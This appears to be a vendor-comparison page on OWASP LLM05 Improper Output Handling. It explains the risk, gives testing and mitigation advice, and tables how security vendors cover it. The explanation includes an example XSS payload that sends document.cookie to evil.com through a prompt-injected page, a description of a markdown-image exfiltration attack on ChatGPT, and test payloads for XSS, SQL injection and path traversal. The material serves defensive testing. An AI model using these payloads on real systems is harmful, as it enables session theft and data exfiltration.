Which LLM-security vendors cover LLM05 Improper Output Handling? (2026)
LLM05 Improper Output Handling — Downstream systems trust model output without checking it, enabling injection or code execution. As of , 2 of 21 vendors llmthreat tracks score Covered for this risk, 14 more score Partial. Scores are llmthreat's editorial read of public documentation, not a third-party audit.
- 2/21
- Covered
- 14
- Partial
- 3
- Not covered
- 2
- Unverified
How it happens
The app renders or executes LLM output without treating it as untrusted input. Classic case: a chatbot renders the model's markdown/HTML reply with `dangerouslySetInnerHTML`, and a prompt-injected page the model summarized contains `<img src=x onerror=fetch('https://evil.com/'+document.cookie)>` — stored XSS fires in the user's session. Same root cause drives the markdown-image exfiltration bug Johann Rehberger documented against ChatGPT: an auto-loading image URL in the model's response silently leaks conversation data to an attacker's server before a human ever sees it. Downstream, if the model's text gets passed straight into `eval()`, a shell call, or a hand-built SQL string, you get RCE, command injection, or SQL injection — the LLM becomes an attacker-steerable proxy for your own execution paths.
How to test for it
Feed prompts (directly and via indirect injection in a doc/webpage the model ingests) with payloads like `<img src=x onerror=alert(1)>`, `'; DROP TABLE users;--`, and `../../etc/passwd`, then check whether they survive unescaped into the browser, DB, or filesystem. Run Burp Suite or PortSwigger's 'Web LLM attacks' methodology against the full pipeline, not just the prompt. Grep the codebase for `dangerouslySetInnerHTML`, `eval(`, `exec(`, and string-concatenated SQL fed by model output — a plain Semgrep/CodeQL rule catches most of it. Confirm markdown image/link auto-loading is disabled or proxied, since that's the exfil channel in the Rehberger case.
How to mitigate it
Treat every LLM output as user-controlled input (OWASP ASVS output-encoding rules apply). Context-aware encode before render (HTML-entity encode for the DOM, escape for the shell), use parameterized queries for anything DB-bound, never `eval`/`exec` model text, and set a strict CSP. Render markdown through an allowlist renderer with raw HTML and remote image auto-load disabled, or proxy images through your own domain. This stops injection and encoding-based attacks, but it doesn't stop a hallucinated-but-syntactically-valid destructive SQL query — that still needs a least-privilege DB account, which is really an LLM06 control.
Which vendors cover LLM05 Improper Output Handling?
| Vendor | Category | Coverage | How it's addressed | Source |
|---|---|---|---|---|
| Lakera | Guardrails / LLM Firewall | Covered | Lakera Red tests for RCE/XSS/SQLi payloads; Guard detects suspicious output patterns. | https://www.lakera.ai/blog/owasp-top-10-for-llm-applications-lakera-alignment |
| NeuralTrust | Guardrails / LLM Firewall | Covered | TrustGuard (inline enforcement engine within TrustGate) 'inspects every input and output, enforcing security decisions inline,' with dedicated content filtering/PII redaction applied to model outputs before they reach users or trigger downstream actions. | https://neuraltrust.ai/llms-full.txt |
| Straiker | Agentic AI Security | Partial | Defend AI's detection engine is documented as collecting 'full-chain telemetry across input, output, conversation, RAG content, attachments, tool calls, MCP traffic, and session behavior,' indicating output inspection is part of runtime guardrails, though not framed as dedicated output-handling/sanitization control. | https://www.straiker.ai/products/defend-ai |
| TrojAI | AI Red Teaming | Partial | Assesses/filters toxic, unwanted or harmful content. | https://troj.ai/products/detect |
| Vijil | Agentic AI Security | Partial | Dome filters harmful/toxic responses at output. | https://vijil.ai/ |
| Enkrypt AI | Guardrails / LLM Firewall | Partial | Guardrails filter toxic/unsafe generated content before it reaches downstream systems. | https://www.enkryptai.com/ |
| Giskard | AI Red Teaming | Partial | Detects inappropriate/harmful content generation; does not cover downstream output-handling (XSS/SQLi) in consuming systems. | https://www.giskard.ai/ |
| HiddenLayer | AI-SPM / Runtime Protection | Partial | AIDR / AI Runtime Security module inspects prompts and responses in real time and can block or redact unsafe/malicious model output before it reaches downstream systems (documented via LiteLLM integration and guardrails solution page), but not framed as a dedicated 'output handling/sanitization' feature. | https://www.hiddenlayer.com/solutions/ai-guardrails |
| Lasso Security | Guardrails / LLM Firewall | Partial | Content-moderation/output guardrails at runtime. | https://www.lasso.security/blog/lasso-agentic-red-teaming |
| Pangea | Guardrails / LLM Firewall | Partial | AI Guard inspects/filters model outputs (malicious content, redaction). | https://www.securityweek.com/pangea-launches-ai-guard-and-prompt-guard-to-combat-gen-ai-security-risks/ |
| Prompt Security | Guardrails / LLM Firewall | Partial | Blocks RCE and manipulated outputs; response redaction/blocking. | https://prompt.security/solutions/homegrown-genai-apps |
| Robust Intelligence | AI Red Teaming | Partial | Red teaming and firewall address unsafe/malicious output handling. | https://blogs.cisco.com/news/fortifying-the-future-of-security-for-ai-cisco-announces-intent-to-acquire-robust-intelligence |
| WitnessAI | Guardrails / LLM Firewall | Partial | Filters harmful responses before they reach users. | https://witness.ai/ |
| CalypsoAI | AI Red Teaming | Partial | Red-teaming surfaces unsafe output handling; runtime guardrails filter responses. | https://calypsoai.com/news/ai-security-risks-why-inference-red-team-is-essential/ |
| Protect AI | AI-SPM / Runtime Protection | Partial | Recon red teaming surfaces unsafe output handling in LLM apps. | https://protectai.com/guardian |
| Apiiro | AI-SPM / Runtime Protection | Partial | Guardian Agent's own description names 'improper output handling' as one of the flaw classes it defends against during AI-assisted code generation. | https://apiiro.com/blog/apiiro-guardian-agent/ |
3 vendors score Not covered and 2 score Unverified for LLM05 — see the full coverage matrix.
Open-source tools related to Improper Output Handling
These open-source projects also address improper output handling, though we track them by repository health rather than scoring them like vendors:
- Guardrails — Framework for adding structural, type, and quality guardrails to LLM outputs, including input/output validators for security risks like prompt injection and PII leakage
- LLM Guard — Security toolkit for LLM interactions — input/output scanners for prompt injection, PII, toxicity, jailbreaks, and data leakage
- NeMo Guardrails — Open-source toolkit for adding programmable guardrails (topical, safety, security rails) to LLM-based conversational systems
- Rebuff — LLM prompt injection detector using heuristics, an LLM-based detector, vector-store similarity, and canary tokens
- Vigil — Detects prompt injections, jailbreaks, and other risky LLM inputs via a pluggable scanner pipeline
- Agentic Security — Agentic LLM vulnerability scanner / AI red-teaming kit for testing autonomous agent pipelines against security threats
Frequently asked questions
Which vendors cover LLM05 Improper Output Handling?
2 of the 21 vendors llmthreat tracks score Covered for LLM05 Improper Output Handling: Lakera, NeuralTrust. 14 more score Partial, as of 2026-07-13.
What is LLM05 Improper Output Handling?
Downstream systems trust model output without checking it, enabling injection or code execution.